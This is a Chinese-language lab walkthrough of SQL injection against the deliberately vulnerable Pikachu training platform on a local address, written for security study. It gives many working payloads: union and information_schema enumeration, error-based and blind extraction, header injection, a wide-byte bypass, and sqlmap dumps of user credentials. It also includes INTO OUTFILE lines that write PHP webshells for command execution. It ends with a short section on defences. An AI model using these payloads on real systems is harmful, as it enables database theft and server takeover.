Pikachu-SQL注入
搜索型注入
构造闭合 like '%xxx%' or 1=1 #%' payload: xxx%' or 1=1 #
xx型注入
构造闭合 = ('xx') or 1=1 #') payload: xx') or 1=1 #
SQL注入手动测试-基于union的信息获取
union 联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询(第一个select)一致!
联合查询的演示(选择字符型注入get模块)
payload:
先进行字段的猜测(使用二分法)a' order by 5# a'order by 3# a'order by 2#
a' union select database(),user()#
a' union select version(),4# //4的意思是,我们可以自己填一个字段进去。
information_schema注入
仍然以字符型注入(get)做下测试
payload:
kobe' order by 3#
kobe' order by 2# 确认为两个字段
kobe' union select database(),user()# 获得数据库名称 pikachu
获取表名
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
进一步的测试,发现表名user。会不会账号密码在这个表里呢?
获取user表的字段名
kobe' union select table_name,column_name from information_schema.columns where table_name='user'#
kobe' union select username,password from users# 这长度一看就知道密码使用md5加密过的
SQL注入手动测试-基于函数报错的信息获取
●常用的函数updatexml()、extractvalue()、floor()
●基于函数报错的信息获取(select/insert/update/delete)
技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以用来报错来获取信息。
背景条件(前提条件):
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
基于报错的信息获取-三个常用的用来报错的函数
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor():MYSQL中用来取整的函数。
updatexml演示(SQL注入-字符型(get)):
在做基于报错方法获取数据的时候,首先得确定这个点是不是报错型的SQL注入。构造错误语法(单引号之类的)可以看到报错会返回到前端来
payload:(下面的0x7e是~的十六进制,这里也可以用其他符号的十六进制,在这里的作用是保证报错的内容不被吃掉)
kobe' and updatexml(1,concat(0x7e,version()),0)# 1这个表示不存在的,version()为要替换的值,0为要替换的值
kobe' and updatexml(1,concat(0x7e,database()),0)# 这三个参数都是错误的,关键点在于中间的值,这个函数。
同样的我们可以把中间这个database()换成我们之前用过的select查询
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但显示了这个 报错内容只能一次显示一行,说明updatexml()这个函数报错的时候只能显示一行
咋办呢???也很简单无非就是我们多操作几次
下面的limit 0,1 是什么意思呢???把查询出来的所有的数据从第0个位置开始取,步长为1。
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
得到第一个表的名称,之后的表名称咋办呢???只需把limit 0,1 换成 limit 1,1(limit 2,1)
获取表名之后,在获取列名(只需在获取表名的基础上改标记部分就行),思路是一样的
kobe' and updatexml (1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
获取到列名称后,再来获取数据(密码是md5编码的,去网页解码下就行):
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
基于extractvalue() extractvalue使用起来效果和updatexml是一模一样的
还是在字符型注入(get)
kobe' and extractvalue(0,concat(0x7e,version()))#
基于报错的信息获取-三个常用函数-floor 取整函数
重点:::floor这个函数要构成报错,在它的运算表达式里,必须要下面三个
前面是一个闭合,,and,,表达式(表达式的结果会用a去做一个别名)
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
还是去字符型注入(get)测试下
同样的我们可以把这个version()表达式替换成我们想要的,
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
把version()换成 (select password from users where username='admin' limit 0,1)
kobe' and (select 2 from (select count(*),concat((select password from users where username='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
insert/update注入
重点::: insert/update和delete和我们之前讲的selet不同的地方就在于,我们没法用union做联合查询
因为它不是一个查询,而是一个操作。一般来说要获取数据的话,我们就可以通过报错的方式获取。
先去注册个账号,发现账号和密码填写 单引号会语法报错,
基于insert下的报错:
xiaoming' or updatexml(1,concat(0x7e,database()),0) or '
也可以用xiaoming' and extractvalue(0,concat(0x7e,version())) or ' (之前讲过了extractvalue和updatexml的原理、效果是一模一样的)
提交
update下的报错,update部分和insert部分是差不多的,我们先注册好一个账号进去登录,
修改个人信息(修改显然通过update去操作后台数据库),再次使用insert的payload
结果
delete注入
基于delete下的报错:
在删除的的时候(没留言可删,现编几个)抓下包,发送给Repeater,id=
1 or updatexml(1,concat(0x7e,database()),0)
也可以用 1 or extractvalue(1,concat(0x7e,database())) (之前讲过了extractvalue和updatexml的原理、效果是一模一样的)
而我们的参数是以url方式(get请求)提交的,所以我们要对payload做一下url编码(直接利用Burp Suite自带的转换工具)
Go,完成
extractvalue()
http header注入
什么是Http Header注入呢?
开始我们的实验,进入SQL注入的http header模块,点击提示,输入账号密码
抓包,把请求发送到Repeater里面去,重点:::这里有2个点可以攻击,一个是User-Agent,一个是cookie
由上图得出后端是对我们前端的User-Agent数据进行获取,它有可能进行相关数据的拼接,我们直接用User-Agent字段做测试
删掉原有的,换成个 单引号试试,发现它把我们的单引号直接放到SQL里面去执行啦,产生啦语法错误
payload: 粘贴到U-A(User-Agent)那里,点一下提交
giaogiao' or updatexml(1,concat(0x7e,database()),0) or '
查看下返回
另一个注入点!!!
现在直接去Proxy那里重新发送给Repeater,在用户名后面加一个单引号,查看下是否报错,确实报错,存在SQL注入
payload: admin' and updatexml(1,concat(0x7e,database()),0)#
admin ' and extractvalue(1,concat(0x7e,database()))#
sqli盲注原理及基于boolean盲注案例演示
●什么是盲注:
有些情况下,后台使用了错误信息屏蔽(比如@)屏蔽啦报错。此时无法再根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注”
根据表现形式的不同,盲注又分为based boolean和based time两种类型
盲注(base on boollan) 开始我们的实验
不管,我们输入什么,只会显示正常的情况和错误(你输入的username不存在)两种返回
我们再次用之前用过的,基于报错的payload试试
kobe' and extractvalue(0,concat(0x7e,version()))# 发现仍然是返回不存在
既然在页面上,只能判断 真假(0,1)两种返回,,那我们就一个一个的猜测后台数据库
kobe' and ascii(substr(database(),1,1))>113# database第一个字符串的第一个字符>113为假
kobe' and ascii(substr(database(),1,1))=112# 第一个字符为p
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1 ),1,1))>112#
往下就不一 一再演示了。
盲注(base on time)
基于时间的盲注,就是返回除了时间,什么都没有啦。
开始我们的实验
测试的payload和我们上面的基于真假的 原理是一样的
基于时间的延迟payload:
kobe' and if((substr(database(),1,1))='a',sleep(5),null)# 先试试='a' 再试试='p'
通过sqli进行服务器的远程控制
这里有两个要点
●一句话木马
●如何通过into outfile写入恶意代码并控制OS
那如何将一句话木马写入到SQL注入漏洞中呢?
结合into outfile(把前面的结果写入都后面的文件中)
以字符型(get)做为测试目标,需要先将数据库开启 secure_file_priv配置
获取OS权限paylaoad:
kobe' union select "?php @eval($_GET[ 'test' ]) ?>",2 into outfile "/var/www/html/1.php"#
kobe' union select "?php system($_GET['cmd']) ?>",2 into outfile "/var/www/html/2.php"#
也可以执行192.168.43.116/2.php?cmd=ifdoncif 查看下ip地址
还可以通过和一句话木马配套的一些工具,比如说中国菜刀,来简单方便的控制这个服务器。
通过暴力破解在sqli漏洞中的应用
之前我们都是通过information_schema数据库来获取信息,很多时候information_schema会被屏蔽掉
也可能遇到的不是MYSQL数据库
在字符型(get)做演示
暴力破解表名和列名称:
kobe' and exists(select * from aa)#
重新提交下,抓包,发送到Intruder模块里面去
clear,选中破解变量aa,攻击模式Sniper,
Payloads模块
Options模块
Start attack(攻击)
kobe' and exists(select id from users)# 和上面一模一样,破解变量是id。不一一演示啦
宽字节注入
当我们输入有单引号时被转义为\',无法构造 SQL 语句的时候,可以尝试宽字节注入。
GBK编码中,反斜杠的编码是 "%5c",而 "%df%5c" 是繁体字 "連"。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的
因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。
kobe %df' or 1=1#
sqlmap工具使用入门及案例介绍
sqlmap的优势:之前我们测盲注的时候不是特别麻烦么? ,这不自动化 工具它来啦
what's sqlmap???一个自动化的用来测试SQL注入和数据库的接管工具。
步骤:
开始我们的实验,发现它是一个get请求,
第一步:找到对应的输入点,在输入框中输入字符得到url:
把这个url复制下来(http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2)
第二步:判断是否存在漏洞:
sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"
发现name是存在SQL注入的,其它的还很多
第三步:得到数据库:
sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --current-db
第四步:得到表名:
sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
第五步:得到字段名: (拿到列名,发现uername和password)
sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
第六步:拿到数据
sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump
实际上这个使用它已经找到里面的数据啦,但发现里面是加过密的,
第七步:用自带的字典对数据破解:
得到用户名和密码,sqlmap非常方便而且强大。
来到我们SQL最后的环节,
SQL漏洞常见的防范措施
一般来说我们有两个维度,一个是代码层面,一个是网络层面
●代码层面
1、对输入进行严格的转义和过滤
2、使用预处理和参数化(Parameterized)
而1的比不是很好,因为SQL一更新出来新的特殊字符,会失效,
推荐的做法是2:使用PDO的prepare预处理,它是以索引数组得方式传进去,而不是拼接,就成功防止啦注入
●网络层面
1、通过WAF设备启用防SQL-Inject注入策略(或类似防护系统)
2、云端防护(360网站卫士,阿里云盾等)